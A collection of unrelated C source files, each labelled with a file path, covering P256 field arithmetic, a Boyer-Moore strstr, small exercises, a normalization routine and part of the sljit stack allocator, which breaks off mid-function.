out1[9] = x25;
out1[10] = x27;
out1[11] = x29;
out1[12] = x31;
out1[13] = x33;
out1[14] = x35;
out1[15] = x37;
out1[16] = x40;
out1[17] = x42;
out1[18] = x44;
out1[19] = x46;
out1[20] = x48;
out1[21] = x50;
out1[22] = x52;
out1[23] = x54;
out1[24] = x57;
out1[25] = x59;
out1[26] = x61;
out1[27] = x63;
out1[28] = x65;
out1[29] = x67;
out1[30] = x69;
out1[31] = x68;
}
/*
* Input Bounds:
* arg1: [[0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff]]
* Output Bounds:
* out1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]]
*/
static void fiat_p256_from_bytes(uint64_t out1[4], const uint8_t arg1[32]) {
uint64_t x1 = ((uint64_t)(arg1[31]) << 56);
uint64_t x2 = ((uint64_t)(arg1[30]) << 48);
uint64_t x3 = ((uint64_t)(arg1[29]) << 40);
uint64_t x4 = ((uint64_t)(arg1[28]) << 32);
uint64_t x5 = ((uint64_t)(arg1[27]) << 24);
uint64_t x6 = ((uint64_t)(arg1[26]) << 16);
uint64_t x7 = ((uint64_t)(arg1[25]) << 8);
uint8_t x8 = (arg1[24]);
uint64_t x9 = ((uint64_t)(arg1[23]) << 56);
uint64_t x10 = ((uint64_t)(arg1[22]) << 48);
uint64_t x11 = ((uint64_t)(arg1[21]) << 40);
uint64_t x12 = ((uint64_t)(arg1[20]) << 32);
uint64_t x13 = ((uint64_t)(arg1[19]) << 24);
uint64_t x14 = ((uint64_t)(arg1[18]) << 16);
uint64_t x15 = ((uint64_t)(arg1[17]) << 8);
uint8_t x16 = (arg1[16]);
uint64_t x17 = ((uint64_t)(arg1[15]) << 56);
uint64_t x18 = ((uint64_t)(arg1[14]) << 48);
uint64_t x19 = ((uint64_t)(arg1[13]) << 40);
uint64_t x20 = ((uint64_t)(arg1[12]) << 32);
uint64_t x21 = ((uint64_t)(arg1[11]) << 24);
uint64_t x22 = ((uint64_t)(arg1[10]) << 16);
uint64_t x23 = ((uint64_t)(arg1[9]) << 8);
uint8_t x24 = (arg1[8]);
uint64_t x25 = ((uint64_t)(arg1[7]) << 56);
uint64_t x26 = ((uint64_t)(arg1[6]) << 48);
uint64_t x27 = ((uint64_t)(arg1[5]) << 40);
uint64_t x28 = ((uint64_t)(arg1[4]) << 32);
uint64_t x29 = ((uint64_t)(arg1[3]) << 24);
uint64_t x30 = ((uint64_t)(arg1[2]) << 16);
uint64_t x31 = ((uint64_t)(arg1[1]) << 8);
uint8_t x32 = (arg1[0]);
uint64_t x33 = (x32 + (x31 + (x30 + (x29 + (x28 + (x27 + (x26 + x25)))))));
fiat_p256_uint1 x34 = (fiat_p256_uint1)((fiat_p256_uint128)x33 >> 64);
uint64_t x35 = (x33 & UINT64_C(0xffffffffffffffff));
uint64_t x36 = (x8 + (x7 + (x6 + (x5 + (x4 + (x3 + (x2 + x1)))))));
uint64_t x37 = (x16 + (x15 + (x14 + (x13 + (x12 + (x11 + (x10 + x9)))))));
uint64_t x38 = (x24 + (x23 + (x22 + (x21 + (x20 + (x19 + (x18 + x17)))))));
uint64_t x39 = (x34 + x38);
fiat_p256_uint1 x40 = (fiat_p256_uint1)((fiat_p256_uint128)x39 >> 64);
uint64_t x41 = (x39 & UINT64_C(0xffffffffffffffff));
uint64_t x42 = (x40 + x37);
fiat_p256_uint1 x43 = (fiat_p256_uint1)((fiat_p256_uint128)x42 >> 64);
uint64_t x44 = (x42 & UINT64_C(0xffffffffffffffff));
uint64_t x45 = (x43 + x36);
out1[0] = x35;
out1[1] = x41;
out1[2] = x44;
out1[3] = x45;
}
|
the_stack_data/133343.c | /*_ strstr.c */
/* Copyright (C) 1985-2001 by Digital Mars */
/* All Rights Reserved */
/* www.digitalmars.com */
/* Written by Walter Bright */
#include <stdio.h>
#include <ctype.h>
#include <stddef.h>
#include <string.h>
#include <stdlib.h>
#if 0 /* Smaller but slower under many circumstances. */
char *strstr(const char *s1,const char *s2)
{ size_t len2;
size_t len1;
char c2 = *s2;
len1 = strlen(s1);
len2 = strlen(s2);
if (!len2)
return (char *) s1;
while (len2 <= len1)
{
if (c2 == *s1)
if (memcmp(s2,s1,len2) == 0)
return (char *) s1;
s1++;
len1--;
}
return NULL;
}
#else
#include <limits.h> /* defines UCHAR_MAX */
/****************************************************************************
See "Algorithms" Second Edition by Robert Sedgewick. Boyer-Moore string
search routine.
****************************************************************************/
char *strstr(const char *text, const char * pattern)
{
const size_t M = strlen(pattern);
const unsigned long N = strlen(text);
const char *p_p = pattern;
const char *t_p;
size_t skip[UCHAR_MAX + 1];
size_t i, j;
if(M == 0)
return (char *)text;
if(M > N) /* If pattern is longer than the text string. */
return 0;
#if __INTSIZE == 4
_memintset((int *)skip, M, UCHAR_MAX + 1);
#else
{ size_t *s_p = skip + UCHAR_MAX;
do
{
*s_p = M;
}while(s_p-- > skip);
}
#endif
p_p = pattern;
do
{
skip[*(const unsigned char *)p_p] = M - 1 - (p_p - pattern);
} while(*++p_p);
p_p = pattern + M - 1;
t_p = text + M - 1;
while(1)
{
char c;
c = *t_p;
if(c == *p_p)
{
if(p_p - pattern == 0)
return (char *)t_p;
t_p--; p_p--;
}
else
{
size_t step = M - (p_p - pattern);
if (step < skip[(unsigned char)c])
step = skip[(unsigned char)c];
/* If we have run out of text to search in. */
/* Need cast for case of large strings with 16 bit size_t... */
if((unsigned long)(t_p - text) + step >= N)
return 0;
t_p += step;
p_p = pattern + M - 1;
}
}
}
#endif /* #if 0 */
|
the_stack_data/43887811.c | #include <stdio.h>
#define E_MAX 15
#define S_MAX 28
#define M_MAX 19
int main() {
int e, s, m;
int i = 0;
int j = 0;
int k = 0;
int year = 0;
scanf("%d %d %d", &e, &s, &m);
while(1) {
++i;
++j;
++k;
if(i > E_MAX) {
i = 1;
}
if(j > S_MAX) {
j = 1;
}
if(k > M_MAX) {
k = 1;
}
++year;
if(e == i && j == s && k == m) {
break;
}
}
printf("%d", year);
} |
the_stack_data/220454891.c | #define swap(t,x,y) \
do { \
(unsigned char *)_0=(unsigned char *)(&(x)); \
(unsigned char *)_1=(unsigned char *)(&(y)); \
unsigned long _2 = (unsigned long) \
((unsigned char *)(&(x)+1) \
- (unsigned char *)(&(x))); \
while (_2--) { \
*_0 ^= *_1; \
*_1 ^= *_0; \
*_0 ^= *_1; \
_0++; \
_1++; \
} \
} while (0)
|
the_stack_data/64200519.c | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* test.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: evgenkarlson <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2020/05/12 12:33:14 by evgenkarlson #+# #+# */
/* Updated: 2020/09/28 19:31:08 by evgenkarlson ### ########.fr */
/* */
/* ************************************************************************** */
/* ************************************************************************** */
/* команда для компиляции и одновременного запуска */
/* */
/* gcc -Wall -Werror -Wextra test.c && chmod +x ./a.out && ./a.out */
/* ************************************************************************** */
#include <unistd.h> /* Подключаем библиотеку содержащую функцию "write" */
#include <stdlib.h> /* Подкоючаем библиотеку содержащую функцию для выделения
* памяти(malloc) и функцию для подсчета размера (sizeof)
* и функцию(free) для освобождения выделеной памяти */
/* ************************************************************************** */
void ft_putchar(char c) /* Функция печати символа */
{
write(1, &c, 1);
}
/* ************************************************************************** */
void ft_putstr(char *str) /* Функция печати строки */
{
while(*str)
ft_putchar(*str++);
}
/* ************************************************************************** */
void ft_putstr_tab(char **tab)/* Функция печати массива строк */
{
while(*tab)
{
ft_putstr(*tab++);
ft_putchar('\n');
}
}
/* ************************************************************************** */
void ft_destroy(char **factory)/* Функция освобождения выделеной памяти */
{
int i;
i = 0;
while (factory[i] != ((void *)0))
{
free(factory[i]);
i++;
}
free(factory);
}
/* ************************************************************************** */
int ft_isspace(char c) /* Функция узнает является ли наш символ разделителем между словами */
{
return (c == ' ' || c == '\t' || c == '\n');/* Если наш символ это пробел или табуляция, или концом строки */
/* То завершаем функцию и возвращаем '1' */
/* Если это какой то др символ то завершаем функцию и возвращаем '0' */
}
int ft_wordcount(char *str) /* Функция считает количество слов в строке */
{
int words; /* Обьявляем переменную для хранения количества найденых слов */
words = 0; /* Инициализируем переменную хранящую количество найденых слов нулем */
while (*str) /* Запускаем цикл который пройдеться по строке и посчитает слова пока не дойдет до конца строки */
{
if (!(words) && !(ft_isspace(*str)))/* Если нам не встречались символы слова и эта ячейка содержит не пустой символ */
words++; /* Значит мы встретили первое слово. Прибавляем к переменной один */
else if (ft_isspace(*(str - 1)) && !(ft_isspace(*str)))/* Если в этой ячейке ячейке храниться первая буква слова */
words++; /* Значит мы встретили еще одно слово. Прибавляем к переменной один */
str++; /* Проходимся по всему массиву символо(строке) пока не дойдем до последней */
}
return (words); /* Завершаем функцию и возвращаем количество слов в строке */
}
int ft_wordlen(char *str) /* Функция вычисляет размер первого слова найденого в строке */
{
int len; /* Обьявляем переменную для хранения размера слова */
len = 0; /* Инициализируем переменную хранящую размер слова нулем */
while (ft_isspace(*str)) /* Цикл пропустит символы в начале массива, которые не являются словом */
str++;
while (*str && !(ft_isspace(*str)))/* Цикл который будет считать каждый символ пока не закончится слово */
{
str++;
len++;
}
return (len); /* Завершаем функцию и возвращаем размер слова */
}
char **ft_split_whitespaces(char *str)/* функция разбирает строку на отдельные слова создавая для них массивы символов,
* записывает адреса созданных массивов в массив указателлей на указатели и
* возвращает адресс массива указателей на указатели */
{
int i; /* Обьявляем переменную для счетчика чтоб перемечаться по созданным строкам */
int j; /* Обьявляем переменную для счетчика чтоб перемечаться по созданному массиву символов */
char **arr; /* Обьявляем указатель на указатель в который мы сохраним адресс выдленой памяти с адресами массивов */
int words; /* Обьявим переменную для хранения вычесленного количества строк */
words = ft_wordcount(str); /* Вызываем функцию по вычислению количества слов в строке и записываем результат в переменную */
i = 0; /* Инициализируем счетчик 'i' нулем чтобы начать работу с нулевого массива */
if (!str || (((arr = (char **)malloc(sizeof(char*) * (words + 1)))) == ((void *)0)))/* Выделяем память нужного размера
* под указатели на адресам массивов которые будут содержать строки со словами.
* И проверяем прошло ли выделение памяти без ошибок. */
return ((void*)0); /* Если были проблемы то завершаем функцию и возвращаем нулевой указатель */
/* Если выше всё прошло удачно то мы переходим к созданию памяти для каждого слова */
while (i < words) /* Этот цикл будет создавать память под слова и записывать символы этих слов в выделеную память */
{
if ((arr[i] = (char *)malloc(sizeof(char) * (ft_wordlen(str) + 1))) == ((void *)0))/* Выделяем память под указатели(их будет
* столько же сколько слов нашла функция ft_wordcount в строке, плюс один указатель под завершающий
* - нулевой указатель). В эти указатели мы поместим адреса каждого добытого слова помещеных в строку
* (массивов символов). И проверяем прошло ли выделение памяти без ошибок. */
return ((void*)0); /* Если что то пошло не так то завершаем функцию и возвращаем нулевой указатель */
j = 0; /* Инициализируем счетчик 'j' нулем чтобы начать работу с нулевой ячейки выбранного массива */
while (ft_isspace(*str))/* Пропускаем ячейки с символами которые не являються частью слова */
str++; /* чтобы добраться до ячейки массива где начинается слова */
while (*str && !(ft_isspace(*str)))/* Пока мы не дошли символа конца строки или не встретили пустой символ */
arr[i][j++] = *str++;/* Копируем символы найденого текущего слова в новый массив */
arr[i][j] = '\0'; /* После слова в конце массива добавляем символ конца массива */
i++; /* Переходим к след строке чтобы скопировать туда след слово, которое мы найдем с помощью
* str, в котором сохранилась информация о позиции ячейки после прошлого слова.
* Эту позицию мы и используем как точку отсчета для поиска нового(последующего) слова */
}
arr[i] = ((void*)0); /* В конце массива указателей на указатели, хранящего адреса строк, добавляем нулевой адрес как
* символ конца этого массива указателей на указатели */
return (arr); /* Заавершаем функцию и возвращаем адресс массива с указателями на указатели(адреса массивов со
* словами) */
}
/* ************************************************************************** */
int ft_strcmp(char *s1, char *s2)/* Функция сравнивает два символа и возвращает их разницу */
{
while (*s1 && (*s1 == *s2)) /* Если символ в первой строке не равен смиволу завершающего нуля и равен символу
* во второй строке на той же позиции то мы */
{
s1++; /* Сдвигаем адрес в указателе вперед для перехода к след элементу первой строки */
s2++; /* Сдвигаем адрес в указателе вперед для перехода к след элементу второй строки */
}
return (*s1 - *s2); /* Если символ в первой строке равен смиволу завершающего нуля или не равен символу
* во второй строке то мы завершаем функцию и возвращаем разность этих символов */
}
void ft_swap(char **x, char **y) /* Функция меняет местами адреса в указателях хранящих адреса указателей */
{
char *temp;
temp = *x;
*x = *y;
*y = temp;
}
int getlength(char **tab) /* Функция проходится по элементам массива указателей и считает их количество */
{
int i; /* Обьявляем счетчик для перемеещения по массиву указателей */
i = 0; /* Инициализируем нулем счетчик для перемеещения по массиву указателей */
while (*tab++) /* Запускаем цикл, который пройдется по каждому элементу массива указателей, до тех пор пока они не закончатся */
i++; /* Увеличиваем счетчик для перехода к след элементу */
return (i); /* Завершаем функцию и возвращаем значение переменной 'i', которая хранит количество пройденых элементов */
}
void ft_sort_wordtab(char **tab) /* Функция сортирует массив со строками по возростанию */
{
int i; /* Обьявляем счетчик для перемеещения по массиву со строками */
int j; /* Обьявляем счетчик для многократного перемеещения по массиву со строками */
int size; /* Обьявляем переменную для хранению количества строк */
i = 0; /* Инициализируем нулем счетчик для перемеещения по массиву указателей */
size = getlength(tab); /* вызываем функцию подсчетам количества строк и сохраняем результат в переменной */
while (i < size - 1) /* До тех пор пока мы не дойдем до конца массива строк запускаем этот цикл.
* В этом цикле мы будем запускать другой цикл, который за каждую итерацию первого
* цикла будет перемещать один самый больший элемент массива строк в конец */
{
j = 0; /* Обнуляем счетчик для многократного перемеещения по массиву со строками */
while (j < size - i - 1) /* До тех пор пока мы не дойдем до конца массива строк запускаем этот цикл.
* Этот цикл будет искать самый большой элемент массива строк и перемещать его в конец массива */
{
if (ft_strcmp(tab[j], tab[j + 1]) > 0) /* Если символы текущей строки больше чем символы следующей */
{
ft_swap(&tab[j], &tab[j + 1]); /* То меняем строки местами */
}
j++; /* Увеличиваем счетчик для перехода к сравнению следующих по порядку строк */
}
i++; /* Увеличиваем счетчик для ограничения предела движения сортировки строк */
}
}
int main(void)
{
char *tab = "3hello 1my 2frend"; /* Обьявим указатель исохраним туда адрес тестовой строки */
char **point; /* Обьявим указатель для хранения адреса массива строк */
point = ft_split_whitespaces(tab); /* Отправляем адрес строки в функцию ккоторая разделит строку
* на слова и разложит эти слова по разным строкам массива строк*/
ft_sort_wordtab(point); /* Отправим добытый из прошлой функции адресс массива строк в функцию,
* которая отсортирует нам эти строки в порядке возрастания */
ft_putstr_tab(point); /* Напечатаем результат */
ft_destroy(point); /* Освобождаем память массива указателей */
return (0); /* Завершаем функцию и возвращаем 0 */
} |
the_stack_data/59513493.c | #include <stdio.h>
int main(void){
int *p;
printf("size of float: %d\n", sizeof(float));
printf("size of double: %d\n", sizeof(double));
printf("size of p: %d\n", sizeof(p));
return 0;
}
|
the_stack_data/150141050.c | struct B {
char a[3];
float f[2];
double d[2];
};
struct B b = {{0, 1, 2}, {3, 4}, {5, 6}};
int main() { return 0; }
|
the_stack_data/453765.c | #include <stdio.h>
int main()
{
int i , j, n , count;
scanf("%d", &n);
count = 0;
for(i = 0; i < n; i++)
{
for(j = 0; j < n; j++)
{
for(int k = 0; k < n; k++)
count = count + 1;
}
}
printf("n = %d; count = %d\n", n , count);
return 0;
} |
the_stack_data/1144523.c | /*
<TAGS>stats</TAGS>
DESCRIPTION:
Normalize an array of double-precision floating-point numbers
Data can be normalized as follows:
NORMALIZE TYPE-0: CONVERT TO A RANGE FROM 0 TO 1
NORMALIZE TYPE-1: CONVERT TO Z-SCORES (use start-stop)
NORMALIZE TYPE-2: difference from first valid sample (beginning at start)
NORMALIZE TYPE-3: difference from mean (use start-stop)
NORMALIZE TYPE-4: ratio of mean (use start-stop)
- to use like previous versions of xf_norm, jj= xf_norm3_d(data,n,type,0,-1,message)
USES:
Can make it easier to compare skewed datasets
Good for analyzing trends in data with very different baselines
DEPENDENCY TREE:
No dependencies
ARGUMENTS:
double *data : the original data - will be transformed!
long ndata : number of elements in the array
int normtype : the type of normalization (see above)
long start : first sample (0 to [ndata-1]) to use for normalization (-1= first valid sample)
long stop : last sample+1 (1 to ndata) to use for normalization (-1= last valid sample)
char *message : pre-allocated array to hold error message
RETURN VALUE:
on success: number of valid numerical data points in data
- the input data will be modified
on error:
-1 - there is no valid data, or reference-zone is invalid
- all input becomes NAN
- message array will hold WARNING text
-2 if invalid parameters were passed
- input is unaltered
- message array will hold ERROR text
SAMPLE CALL
type=3; start=-1; stop=-1;
ii= xf_norm3_d(data,ndata,type,start,stop,message);
if(ii==-2) { fprintf(stderr,"\n\t--- %s/%s\n\n",thisprog,message); exit(1); }
if(ii==-1) {
if(setverb>0) fprintf(stderr,"\n\t--- %s/%s\n\n",thisprog,message);
for(jj=0;jj<ndata;jj++) datval[jj]=NAN;
}
*/
#include <math.h>
#include <stdlib.h>
#include <stdio.h>
long xf_norm3_d(double *data,long ndata,int normtype,long start,long stop,char *message) {
char *thisfunc="xf_norm3_d\0";
int flag= 0; /* flag for return-behaviour: 0=good, 1=set-to-NAN */
long int ii,jj,mm,firstgood=-1,lastgood=-1;
double aa,min,max,sum=0.0,sumofsq=0.0,norm1=0.0,norm2=1.0;
/* DETERMINE FIRST AND LAST VALID SAMPLE IN THE DATA */
for(ii=0;ii<ndata;ii++) { if(isfinite(data[ii])) { if(firstgood==-1) firstgood= ii; lastgood= ii; }}
if(firstgood==-1) { sprintf(message,"%s [WARNING]: no valid data",thisfunc); return(-1); }
if(start==-1) start= firstgood;
if(stop==-1) stop= lastgood+1;
/* CHECK VALIDITY OF ARGUMENTS AND FINAL VAUES FOR START & STOP */
if(normtype<0||normtype>4) { sprintf(message,"%s [ERROR]: invalid norm-type (%d) must be 0-4",thisfunc,normtype); return(-2); }
if(ndata==0) { sprintf(message,"%s [ERROR]: invalid size of input (%ld)",thisfunc,ndata); return(-2); }
if(start<0) { sprintf(message,"%s [ERROR]: invalid start-sample (%ld)",thisfunc,start); return(-2); }
if(start>=stop) { sprintf(message,"%s [ERROR]: start-sample (%ld) must be < stop-sample (%ld)",thisfunc,start,stop); return(-2); }
if(start>=ndata) { sprintf(message,"%s [ERROR]: start-sample (%ld) must be < ndata (%ld)",thisfunc,start,ndata); return(-2); }
if(stop>ndata) { sprintf(message,"%s [ERROR]: stop-sample (%ld) must be <= ndata (%ld)",thisfunc,stop,ndata); return(-2); }
//TEST: fprintf(stderr,"data[0]=%g\n",data[0]);
/* NORMALIZE TYPE-0: CONVERT TO A RANGE FROM 0 TO 1 */
if(normtype==0) {
min= max= data[firstgood];
/* define norm1 (the minimum) */
for(ii=0;ii<ndata;ii++) { aa=data[ii]; if(isfinite(aa)) {if(aa<min)min=aa;if(aa>max)max=aa;} }
norm1= min;
/* define norm2 (the range) */
if(max>min) norm2= max-min;
else norm2=1.0;
}
/* NORMALIZE TYPE-1: CONVERT TO Z-SCORES - use start & stop */
else if(normtype==1) {
/* define norm1 (the mean) */
mm=0;
for(ii=start;ii<stop;ii++) { aa=data[ii]; if(isfinite(aa)) {sum+=aa; sumofsq+=aa*aa; mm++;} }
if(mm==0) { sprintf(message,"%s [WARNING]: no valid data in reference-zone (samples %ld-%ld)",thisfunc,start,stop); flag=1; }
else {
norm1= sum/(double)mm;
/* define norm2 (the standard deviation) */
if(mm>1) norm2= sqrt((double)((mm*sumofsq-(sum*sum))/(mm*(mm-1))));
else norm2= 1.1;
}
}
/* NORMALIZE TYPE-2: difference from first valid sample, beginning at "start" */
else if(normtype==2) {
for(ii=start;ii<ndata;ii++) if(isfinite(data[ii])) { break; }
if(!isfinite(data[start])) { sprintf(message,"%s [WARNING]: data at start-sample %ld is invalid",thisfunc,start); flag=1; }
else { norm1= data[start]; norm2= 1;}
}
/* NORMALIZE TYPE-3: difference from mean (start-stop) */
else if(normtype==3) {
sum= 0.0; mm= 0;
for(ii=start;ii<stop;ii++) if(isfinite(data[ii])) { sum+= data[ii]; mm++; }
if(mm==0) { sprintf(message,"%s [WARNING]: no valid data in reference-zone (samples %ld-%ld)",thisfunc,start,stop); flag=1; }
else { norm1= sum/(double)mm; norm2= 1; }
}
/* NORMALIZE TYPE-4: ratio of mean (start-stop) */
else if(normtype==4) {
sum= 0.0; mm= 0;
for(ii=start;ii<stop;ii++) if(isfinite(data[ii])) { sum+= data[ii]; mm++; }
if(mm==0) { sprintf(message,"%s [WARNING]: no valid data in reference-zone (samples %ld-%ld)",thisfunc,start,stop); flag=1; }
else { norm1= 0.0; norm2= sum/(double)mm; }
}
/* TRANSFORM THE ARRAY - ONLY THE VALID DATA POINTS */
if(flag==0) {
for(ii=mm=0;ii<ndata;ii++) { if(isfinite(data[ii])) { mm++; data[ii]= (data[ii]-norm1)/norm2; } }
/* RETURN THE NUMBER OF VALID DATA POINTS */
return(mm);
}
/* otherwise, if there was no good reference data for normalization... */
else { for(ii=mm=0;ii<ndata;ii++) data[ii]=NAN ; return(-1); }
}
|
the_stack_data/2806.c | /*
* Stack-less Just-In-Time compiler
*
* Copyright Zoltan Herczeg ([email protected]). All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list
* of conditions and the following disclaimer in the documentation and/or other materials
* provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDER(S) AND CONTRIBUTORS ``AS IS'' AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT
* SHALL THE COPYRIGHT HOLDER(S) OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
* TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
* BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/* ------------------------------------------------------------------------ */
/* Locks */
/* ------------------------------------------------------------------------ */
/* Executable Allocator */
#if (defined SLJIT_EXECUTABLE_ALLOCATOR && SLJIT_EXECUTABLE_ALLOCATOR) \
&& !(defined SLJIT_WX_EXECUTABLE_ALLOCATOR && SLJIT_WX_EXECUTABLE_ALLOCATOR)
#if (defined SLJIT_SINGLE_THREADED && SLJIT_SINGLE_THREADED)
#define SLJIT_ALLOCATOR_LOCK()
#define SLJIT_ALLOCATOR_UNLOCK()
#elif !(defined _WIN32)
#include <pthread.h>
static pthread_mutex_t allocator_lock = PTHREAD_MUTEX_INITIALIZER;
#define SLJIT_ALLOCATOR_LOCK() pthread_mutex_lock(&allocator_lock)
#define SLJIT_ALLOCATOR_UNLOCK() pthread_mutex_unlock(&allocator_lock)
#else /* windows */
static HANDLE allocator_lock;
static SLJIT_INLINE void allocator_grab_lock(void)
{
HANDLE lock;
if (SLJIT_UNLIKELY(!InterlockedCompareExchangePointer(&allocator_lock, NULL, NULL))) {
lock = CreateMutex(NULL, FALSE, NULL);
if (InterlockedCompareExchangePointer(&allocator_lock, lock, NULL))
CloseHandle(lock);
}
WaitForSingleObject(allocator_lock, INFINITE);
}
#define SLJIT_ALLOCATOR_LOCK() allocator_grab_lock()
#define SLJIT_ALLOCATOR_UNLOCK() ReleaseMutex(allocator_lock)
#endif /* thread implementation */
#endif /* SLJIT_EXECUTABLE_ALLOCATOR && !SLJIT_WX_EXECUTABLE_ALLOCATOR */
/* ------------------------------------------------------------------------ */
/* Stack */
/* ------------------------------------------------------------------------ */
#if ((defined SLJIT_UTIL_STACK && SLJIT_UTIL_STACK) \
&& !(defined SLJIT_UTIL_SIMPLE_STACK_ALLOCATION && SLJIT_UTIL_SIMPLE_STACK_ALLOCATION)) \
|| ((defined SLJIT_EXECUTABLE_ALLOCATOR && SLJIT_EXECUTABLE_ALLOCATOR) \
&& !((defined SLJIT_PROT_EXECUTABLE_ALLOCATOR && SLJIT_PROT_EXECUTABLE_ALLOCATOR) \
|| (defined SLJIT_WX_EXECUTABLE_ALLOCATOR && SLJIT_WX_EXECUTABLE_ALLOCATOR)))
#ifndef _WIN32
/* Provides mmap function. */
#include <sys/types.h>
#include <sys/mman.h>
#ifndef MAP_ANON
#ifdef MAP_ANONYMOUS
#define MAP_ANON MAP_ANONYMOUS
#endif /* MAP_ANONYMOUS */
#endif /* !MAP_ANON */
#ifndef MAP_ANON
#include <fcntl.h>
#ifdef O_CLOEXEC
#define SLJIT_CLOEXEC O_CLOEXEC
#else /* !O_CLOEXEC */
#define SLJIT_CLOEXEC 0
#endif /* O_CLOEXEC */
/* Some old systems do not have MAP_ANON. */
static int dev_zero = -1;
#if (defined SLJIT_SINGLE_THREADED && SLJIT_SINGLE_THREADED)
static SLJIT_INLINE int open_dev_zero(void)
{
dev_zero = open("/dev/zero", O_RDWR | SLJIT_CLOEXEC);
return dev_zero < 0;
}
#else /* !SLJIT_SINGLE_THREADED */
#include <pthread.h>
static pthread_mutex_t dev_zero_mutex = PTHREAD_MUTEX_INITIALIZER;
static SLJIT_INLINE int open_dev_zero(void)
{
pthread_mutex_lock(&dev_zero_mutex);
if (SLJIT_UNLIKELY(dev_zero < 0))
dev_zero = open("/dev/zero", O_RDWR | SLJIT_CLOEXEC);
pthread_mutex_unlock(&dev_zero_mutex);
return dev_zero < 0;
}
#endif /* SLJIT_SINGLE_THREADED */
#undef SLJIT_CLOEXEC
#endif /* !MAP_ANON */
#endif /* !_WIN32 */
#endif /* open_dev_zero */
#if (defined SLJIT_UTIL_STACK && SLJIT_UTIL_STACK) \
|| (defined SLJIT_EXECUTABLE_ALLOCATOR && SLJIT_EXECUTABLE_ALLOCATOR)
#ifdef _WIN32
static SLJIT_INLINE sljit_uw get_page_alignment(void) {
SYSTEM_INFO si;
static sljit_uw sljit_page_align = 0;
if (!sljit_page_align) {
GetSystemInfo(&si);
sljit_page_align = (sljit_uw)si.dwPageSize - 1;
}
return sljit_page_align;
}
#else
#include <unistd.h>
static SLJIT_INLINE sljit_uw get_page_alignment(void) {
static sljit_uw sljit_page_align = 0;
sljit_sw align;
if (!sljit_page_align) {
#ifdef _SC_PAGESIZE
align = sysconf(_SC_PAGESIZE);
#else
align = getpagesize();
#endif
/* Should never happen. */
if (align < 0)
align = 4096;
sljit_page_align = (sljit_uw)align - 1;
}
return sljit_page_align;
}
#endif /* _WIN32 */
#endif /* get_page_alignment() */
#if (defined SLJIT_UTIL_STACK && SLJIT_UTIL_STACK)
#if (defined SLJIT_UTIL_SIMPLE_STACK_ALLOCATION && SLJIT_UTIL_SIMPLE_STACK_ALLOCATION)
SLJIT_API_FUNC_ATTRIBUTE struct sljit_stack* SLJIT_FUNC sljit_allocate_stack(sljit_uw start_size, sljit_uw max_size, void *allocator_data)
{
struct sljit_stack *stack;
void *ptr;
SLJIT_UNUSED_ARG(allocator_data);
if (start_size > max_size || start_size < 1)
return NULL;
stack = (struct sljit_stack*)SLJIT_MALLOC(sizeof(struct sljit_stack), allocator_data);
if (stack == NULL)
return NULL;
ptr = SLJIT_MALLOC(max_size, allocator_data);
if (ptr == NULL) {
SLJIT_FREE(stack, allocator_data);
return NULL;
}
stack->min_start = (sljit_u8 *)ptr;
stack->end = stack->min_start + max_size;
stack->start = stack->end - start_size;
stack->top = stack->end;
return stack;
}
SLJIT_API_FUNC_ATTRIBUTE void SLJIT_FUNC sljit_free_stack(struct sljit_stack *stack, void *allocator_data)
{
SLJIT_UNUSED_ARG(allocator_data);
SLJIT_FREE((void*)stack->min_start, allocator_data);
SLJIT_FREE(stack, allocator_data);
}
SLJIT_API_FUNC_ATTRIBUTE sljit_u8 *SLJIT_FUNC sljit_stack_resize(struct sljit_stack *stack, sljit_u8 *new_start)
{
if ((new_start < stack->min_start) || (new_start >= stack->end))
return NULL;
stack->start = new_start;
return new_start;
}
#else /* !SLJIT_UTIL_SIMPLE_STACK_ALLOCATION */
#ifdef _WIN32
SLJIT_API_FUNC_ATTRIBUTE void SLJIT_FUNC sljit_free_stack(struct sljit_stack *stack, void *allocator_data)
{
SLJIT_UNUSED_ARG(allocator_data);
VirtualFree((void*)stack->min_start, 0, MEM_RELEASE);
SLJIT_FREE(stack, allocator_data);
}
#else /* !_WIN32 */
SLJIT_API_FUNC_ATTRIBUTE void SLJIT_FUNC sljit_free_stack(struct sljit_stack *stack, void *allocator_data)
{
SLJIT_UNUSED_ARG(allocator_data);
